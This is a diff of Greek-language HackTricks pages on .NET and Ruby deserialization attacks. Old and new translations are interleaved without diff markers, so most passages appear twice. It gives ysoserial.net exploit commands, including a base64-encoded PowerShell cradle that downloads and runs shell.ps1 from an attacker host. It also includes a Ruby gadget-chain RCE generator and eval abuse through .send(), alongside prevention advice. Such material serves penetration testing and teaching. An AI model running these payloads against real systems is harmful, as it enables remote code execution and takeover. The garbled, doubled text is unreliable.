* **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα καταχραστεί (να υποδείξετε την κλάση/συνάρτηση που θα καταχραστεί κατά την αποσειριοποίηση για να εκτελέσει εντολές).
* **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για την σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί ο πίσω μέρος για να αποσειριοποιήσει το φορτίο και να χρησιμοποιήσετε το ίδιο για να το σειριοποιήσετε)
* **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε μορφή **raw** ή κωδικοποιημένη σε **base64**. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το φορτίο χρησιμοποιώντας το **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows), οπότε αν λάβετε το raw και απλά το κωδικοποιήσετε από μια κονσόλα Linux ενδέχεται να αντιμετωπίσετε ορισμένα προβλήματα **συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργεί σωστά (στο HTB JSON box το φορτίο λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
* **`--plugin`** το ysoserial.net υποστηρίζει πρόσθετα για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαισία** όπως το ViewState
* **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).
* **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
* **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη μορφή. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
* **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα πλαίσια** όπως το ViewState
#### Περισσότερες παράμετροι του ysoserial.net
#### Περισσότερες παράμετροι ysoserial.net
* `--minify` θα παρέχει ένα **μικρότερο φορτίο** (εάν είναι δυνατόν)
* `--raf -f Json.Net -c "anything"` Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν συγκεκριμένο μορφοποιητή (`Json.Net` σε αυτήν την περίπτωση)
* `--sf xml` μπορείτε να **υποδείξετε ένα gadget** (`-g`) και το ysoserial.net θα αναζητήσει μορφοποιητές που περιέχουν τη λέξη "xml" (με μη διάκριση πεζών-κεφαλαίων)
* `--minify` θα παρέχει ένα **μικρότερο payload** (αν είναι δυνατόν)
* `--raf -f Json.Net -c "anything"` Αυτό θα υποδείξει όλα τα gadgets που μπορούν να χρησιμοποιηθούν με έναν παρεχόμενο formatter (`Json.Net` σε αυτή την περίπτωση)
* `--sf xml` μπορείτε να **υποδείξετε ένα gadget** (`-g`) και το ysoserial.net θα αναζητήσει formatters που περιέχουν "xml" (χωρίς διάκριση πεζών-κεφαλαίων)
**Παραδείγματα ysoserial** για τη δημιουργία εκμεταλλεύσεων:
```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
@ -668,9 +672,9 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
Το **ysoserial.net** έχει επίσης ένα **πολύ ενδιαφέρον παράμετρο** που βοηθά στην καλύτερη κατανόηση του πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
Εάν δηλώσετε αυτήν την παράμετρο, το **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να δοκιμάσετε αν το φορτίο σας θα λειτουργήσει σωστά.\
Αυτή η παράμετρος είναι χρήσιμη επειδή εάν εξετάσετε τον κώδικα θα βρείτε τμήματα κώδικα όπως το παρακάτω (από το [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσετε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
Αν υποδείξετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
{
@ -684,7 +688,7 @@ Debugging.ShowErrors(inputArgs, err);
}
}
```
Αυτό σημαίνει ότι για να δοκιμάσετε την εκμετάλλευση, ο κώδικας θα καλέσει τη συνάρτηση [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
Αυτό σημαίνει ότι προκειμένου να δοκιμαστεί η εκμετάλλευση, ο κώδικας θα καλέσει [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
```java
public static object JsonNet_deserialize(string str)
{
@ -695,46 +699,46 @@ TypeNameHandling = TypeNameHandling.Auto
return obj;
}
```
Ο **προηγούμενος κώδικας είναι ευάλωτος στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανότατα αυτή η εφαρμογή είναι ευάλωτη επίσης.\
Συνεπώς, η παράμετρος **`--test`** μας επιτρέπει να καταλάβουμε **ποια τμήματα κώδικα είναι ευάλωτα** στην εκμετάλλευση αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**.
In the **προηγούμενος κώδικας είναι ευάλωτος στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**.
### ViewState
Ρίξτε μια ματιά σε [αυτό το POST σχετικά με **πώς να δοκιμάσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-\_\_viewstate-parameter.md) για **εκτέλεση αυθαίρετου κώδικα**. Αν **ήδη γνωρίζετε τα μυστικά** που χρησιμοποιεί η μηχανή-θύμα, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
Ρίξτε μια ματιά σε [αυτή την POST σχετικά με **το πώς να προσπαθήσετε να εκμεταλλευτείτε την παράμετρο \_\_ViewState του .Net**](exploiting-\_\_viewstate-parameter.md) για **να εκτελέσετε αυθαίρετο κώδικα.** Αν **γνωρίζετε ήδη τα μυστικά** που χρησιμοποιούνται από τη μηχανή του θύματος, [**διαβάστε αυτή την ανάρτηση για να μάθετε πώς να εκτελέσετε κώδικα**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
### Πρόληψη
### Prevention
Για τη μείωση των κινδύνων που σχετίζονται με την αποσειριοποίηση στο .Net:
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:
* **Αποφύγετε την επιτροπή στοιχείων δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε το `DataContractSerializer` ή το `XmlSerializer` όταν είναι δυνατόν.
* **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
* **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
* **Αποφύγετε τη χρήση του `JavaScriptSerializer` με ένα `JavaScriptTypeResolver`.**
* **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους του .Net, όπως ο `System.IO.FileInfo`, που μπορεί να τροποποιήσει τις ιδιότητες αρχείων του διακομιστή, προκαλώντας πιθανώς επιθέσεις αρνησης υπηρεσίας.
* **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως ο `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητά του `Value`, που μπορεί να εκμεταλλευτεί.
* **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπου** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
* **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας ένα προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
* **Μείνετε ενήμεροι για γνωστά ανασφαλή gadgets αποσειριοποίησης** μέσα στο .Net και βεβαιωθείτε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
* **Απομονώστε πιθανώς επικίνδυνο κώδικα** από κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την εκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
* **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
* **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
* **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί.
* **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
* **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
* **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
* **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
### **Αναφορές**
### **References**
* Έγγραφο αποσειριοποίησης JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* Java και .Net JSON αποσειριοποίηση **έγγραφο:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Στη Ruby, η σειριοποίηση διευκολύνεται από δύο μεθόδους εντός της βιβλιοθήκης **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή bytes. Αυτή η διαδικασία αναφέρεται ως σειριοποίηση. Αντίστροφα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή bytes σε ένα αντικείμενο, μια διαδικασία γνωστή ως αποσειριοποίηση.
Στο Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.
Για την ασφάλεια των σειριοποιημένων αντικειμένων, η **Ruby χρησιμοποιεί το HMAC (Hash-Based Message Authentication Code)**, εξασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτόν τον σκοπό αποθηκεύεται σε μία από τις πιθανές τοποθεσίες:
Για την ασφάλεια των αποθηκευμένων αντικειμένων, **το Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
* `config/environment.rb`
* `config/initializers/secret_token.rb`
* `config/secrets.yml`
* `/proc/self/environ`
**Αλυσίδα γκατζετ σειριοποίησης Ruby 2.X για RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Ruby 2.X γενική αποσειριοποίηση σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -805,13 +809,13 @@ require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
Άλλη αλυσίδα RCE για εκμετάλλευση του Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
Άλλες αλυσίδες RCE για εκμετάλλευση του Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
### Η μέθοδος Ruby .send()
### Μέθοδος Ruby .send()
Όπως εξηγείται στην [**αυτήν την αναφορά ευπαθειών**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), εάν κάποια μη αποστειρωμένη είσοδος φτάσει στη μέθοδο `.send()` ενός αντικειμένου Ruby, αυτή η μέθοδος επιτρέπει να **καλείται οποιαδήποτε άλλη μέθοδος** του αντικειμένου με οποιεσδήποτε παραμέτρους.
Όπως εξηγείται σε [**αυτή την αναφορά ευπάθειας**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), αν κάποια μη φιλτραρισμένη είσοδος χρήστη φτάσει στη μέθοδο `.send()` ενός αντικειμένου ruby, αυτή η μέθοδος επιτρέπει να **καλέσετε οποιαδήποτε άλλη μέθοδο** του αντικειμένου με οποιαδήποτε παραμέτρους.
Για παράδειγμα, η κλήση της eval και στη συνέχεια κώδικα Ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
Για παράδειγμα, η κλήση eval και στη συνέχεια κώδικα ruby ως δεύτερη παράμετρος θα επιτρέψει την εκτέλεση αυθαίρετου κώδικα:
{% code overflow="wrap" %}
```ruby
@ -819,8 +823,8 @@ puts Base64.encode64(payload)
```
{% endcode %}
Επιπλέον, αν μόνο ένα παράμετρος της **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στο προηγούμενο κείμενο, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται ορίσματα** ή των οποίων τα ορίσματα έχουν **προεπιλεγμένες τιμές**.\
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν μερικές ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις**.
Επιπλέον, αν μόνο μία παράμετρος του **`.send()`** ελέγχεται από έναν επιτιθέμενο, όπως αναφέρθηκε στην προηγούμενη αναφορά, είναι δυνατόν να κληθεί οποιαδήποτε μέθοδος του αντικειμένου που **δεν χρειάζεται παραμέτρους** ή των οποίων οι παράμετροι έχουν **προεπιλεγμένες τιμές**.\
Για αυτό, είναι δυνατόν να απαριθμηθούν όλες οι μέθοδοι του αντικειμένου για να **βρεθούν κάποιες ενδιαφέρουσες μέθοδοι που πληρούν αυτές τις απαιτήσεις**.
{% code overflow="wrap" %}
```ruby
@ -844,16 +848,19 @@ candidate_methods = repo_methods.select() do |method_name|
end
candidate_methods.length() # Final number of methods=> 3595
```
{% endcode %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,48 +1,51 @@
# Βασική αποσυνεριακοποίηση .Net (ObjectDataProvider gadget, ExpandedWrapper, και Json.Net)
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Αυτή η ανάρτηση αφιερώνεται στο **κατανόηση του πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτήσει RCE και **πώς** μπορούν να καταχραστούν οι βιβλιοθήκες Σειριοποίησης **Json.Net και xmlSerializer** με αυτό το gadget.
Αυτή η ανάρτηση είναι αφιερωμένη στο **να κατανοήσουμε πώς εκμεταλλεύεται το gadget ObjectDataProvider** για να αποκτήσουμε RCE και **πώς** οι βιβλιοθήκες Serialization **Json.Net και xmlSerializer μπορούν να κακοποιηθούν** με αυτό το gadget.
## Gadget ObjectDataProvider
## ObjectDataProvider Gadget
Από την τεκμηρίωση: _η κλάση ObjectDataProvider περικλείει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή σύνδεσης_.\
Ναι, είναι μια περίεργη εξήγηση, οπότε ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρουσα: Αυτή η κλάση επιτρέπει να **περικλείσετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετες παραμέτρους** και στη συνέχεια να **χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους** κατά την αποσυνεριακοποίηση.
Από την τεκμηρίωση: _η κλάση ObjectDataProvider τυλίγει και δημιουργεί ένα αντικείμενο που μπορείτε να χρησιμοποιήσετε ως πηγή δέσμευσης_.\
Ναι, είναι μια περίεργη εξήγηση, ας δούμε τι έχει αυτή η κλάση που είναι τόσο ενδιαφέρον: Αυτή η κλάση επιτρέπει να **τυλίξετε ένα αυθαίρετο αντικείμενο**, να χρησιμοποιήσετε _**MethodParameters**_ για να **ορίσετε αυθαίρετους παραμέτρους,** και στη συνέχεια **να χρησιμοποιήσετε το MethodName για να καλέσετε μια αυθαίρετη συνάρτηση** του αυθαίρετου αντικειμένου που δηλώνεται χρησιμοποιώντας τις αυθαίρετες παραμέτρους.\
Επομένως, το αυθαίρετο **αντικείμενο** θα **εκτελέσει** μια **συνάρτηση** με **παραμέτρους ενώ αποσυμπιέζεται.**
### **Πώς είναι αυτό δυνατόν**
### **Πώς είναι αυτό δυνατό**
Το namespace **System.Windows.Data**, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται ο ObjectDataProvider.
Ο **System.Windows.Data** χώρος ονομάτων, που βρίσκεται μέσα στο **PresentationFramework.dll** στο `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, είναι όπου ορίζεται και υλοποιείται το ObjectDataProvider.
Χρησιμοποιώντας το [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην παρακάτω εικόνα βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Όνομα μεθόδου**
Χρησιμοποιώντας [**dnSpy**](https://github.com/0xd4d/dnSpy) μπορείτε να **επιθεωρήσετε τον κώδικα** της κλάσης που μας ενδιαφέρει. Στην εικόνα παρακάτω βλέπουμε τον κώδικα του **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
![](<../../.gitbook/assets/image (299).png>)
![](<../../.gitbook/assets/image (427).png>)
Όπως μπορείτε να παρατηρήσετε, όταν ορίζεται το `MethodName`, καλείται η `base.Refresh()`, ας δούμε τι κάνει αυτή:
Όπως μπορείτε να παρατηρήσετε, όταν οριστεί το `MethodName`, καλείται το `base.Refresh()`, ας ρίξουμε μια ματιά σε τι κάνει αυτό:
![](<../../.gitbook/assets/image (300).png>)
![](<../../.gitbook/assets/image (319).png>)
Καλά, ας συνεχίσουμε να δούμε τι κάνει το `this.BeginQuery()`. Το `BeginQuery` αντικαθίσταται από το `ObjectDataProvider` και αυτό είναι το τι κάνει:
Εντάξει, ας συνεχίσουμε βλέποντας τι κάνει το `this.BeginQuery()`. Το `BeginQuery` έχει παρακαμφθεί από το `ObjectDataProvider` και αυτό είναι που κάνει:
![](<../../.gitbook/assets/image (301).png>)
![](<../../.gitbook/assets/image (345).png>)
Παρατηρήστε ότι στο τέλος του κώδικα καλείται το `this.QueryWorke(null)`. Ας δούμε τι εκτελεί αυτό:
